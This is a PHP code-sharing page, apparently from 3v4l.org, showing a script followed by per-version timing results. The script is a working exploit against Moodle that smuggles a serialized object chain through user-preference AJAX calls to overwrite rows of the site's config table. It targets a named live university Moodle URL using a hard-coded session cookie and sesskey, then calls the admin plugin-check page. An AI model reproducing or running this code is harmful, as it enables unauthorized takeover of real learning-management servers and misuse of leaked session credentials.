3v4l.org

run code in 300+ PHP versions simultaneously
<?php namespace { class gradereport_singleviewlocaluifeedback{ } } namespace { class gradereport_overview_external{ } class grade_item{ } class grade_grade{ } function httpPost($url, $data, $MoodleSession, $json) { $curl = curl_init($url); $headers = array('Cookie: MoodleSession='.$MoodleSession); if($json){ array_push($headers, 'Content-Type: application/json'); }else{ $data = urldecode(http_build_query($data)); } curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_HTTPHEADER, $headers); curl_setopt($curl, CURLOPT_POSTFIELDS, $data); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($curl); var_dump($response); curl_close($curl); return $response; } function httpGet($url, $MoodleSession) { $curl = curl_init($url); $headers = array('Cookie: MoodleSession='.$MoodleSession); curl_setopt($curl, CURLOPT_HTTPHEADER, $headers); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($curl); echo $response; curl_close($curl); return $response; } function update_table($url, $MoodleSession, $sesskey, $table, $rowId, $column, $value){ $base = new gradereport_overview_external(); $fb = new gradereport_singleviewlocaluifeedback(); $fb -> grade = new grade_grade(); $fb -> grade -> grade_item = new grade_item(); $fb -> grade -> grade_item -> calculation = "[[somestring"; $fb -> grade -> grade_item -> calculation_normalized = false; $fb -> grade -> grade_item -> table = $table; $fb -> grade -> grade_item -> id = $rowId; $fb -> grade -> grade_item -> $column = $value; $fb -> grade -> grade_item -> required_fields = array($column,'id'); $arr = array(array($base),$fb); $value = serialize($arr); $data = array('sesskey' => $sesskey, 'sortorder[]' => 0); httpPost($url. '/blocks/course_overview/save.php',$data, $MoodleSession,0); $data = json_encode(array(array('index'=> 0, 'methodname'=>'core_user_update_user_preferences','args'=>array('preferences'=>array(array('type'=> 'course_overview_course_order', 'value' => $value)))))); httpPost($url.'/lib/ajax/service.php?sesskey='.$sesskey, $data, $MoodleSession,1); httpGet($url.'/my/', $MoodleSession); } $url = 'http://moodlep.ucv.edu.br/moodle'; $MoodleSession = 'd9a6e039df23e68c076f83ff03e82699'; $sesskey = 'm2nzhNdJTn'; $table = "config"; $rowId = 25; $column = 'value'; $value = 3848; update_table($url, $MoodleSession,$sesskey,$table,$rowId,$column, $value); $rowId = 375; update_table($url, $MoodleSession,$sesskey,$table,$rowId, $column, sha1(time())); $data = array('sesskey' => $sesskey, 'sortorder[]' => 1); httpPost($url. '/blocks/course_overview/save.php',$data, $MoodleSession,0); var_dump($data); httpGet($url.'/admin/index.php?cache=0&confirmplugincheck=1',$MoodleSession); echo 'OK'; }

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
7.4.00.0040.01415.24
7.3.120.0070.01415.17
7.3.110.0090.00914.65
7.3.100.0030.01014.54
7.3.90.0070.00714.57
7.3.80.0000.01715.26
7.3.70.0070.00314.84
7.3.60.0040.01114.91
7.3.50.0100.00714.95
7.3.40.0000.01614.95
7.3.30.0060.00314.90
7.3.20.0030.01016.72
7.3.10.0110.00316.75
7.3.00.0100.00716.52
7.2.250.0000.01815.26
7.2.240.0100.01015.03
7.2.230.0140.00715.07
7.2.220.0050.00515.11
7.2.210.0030.00715.31
7.2.200.0070.00715.31
7.2.190.0070.00315.19
7.2.180.0120.00314.89
7.2.170.0000.01015.25
7.2.70.0340.00715.25
7.2.60.0290.01315.02
7.2.50.0310.00715.11
7.2.40.0280.01015.13
7.2.30.0310.00615.42
7.2.20.0340.00315.05
7.2.10.0340.00315.05
7.2.00.0250.01215.14
7.1.330.0110.00315.67
7.1.320.0030.01015.88
7.1.310.0100.00715.92
7.1.300.0040.01115.68
7.1.290.0070.00716.05
7.1.280.0060.00315.68
7.1.270.0090.00615.76
7.1.260.0100.00615.88
7.1.200.0070.00716.02
7.1.170.0300.01013.59
7.1.160.0420.00414.00
7.1.150.0320.00313.99
7.1.140.0250.01114.09
7.1.130.0340.00313.98
7.1.120.0250.00914.05
7.1.110.0280.01013.97
7.1.100.0320.00614.03
7.1.90.0390.00414.23
7.1.80.0290.01313.68
7.1.70.0810.01413.86
7.1.60.0520.01331.96
7.1.50.0670.01831.73
7.1.40.0480.01732.15
7.1.30.0540.01331.50
7.1.20.0560.01931.87
7.1.10.0420.00713.80
7.1.00.0380.00714.09

preferences:
45.1 ms | 403 KiB | 5 Q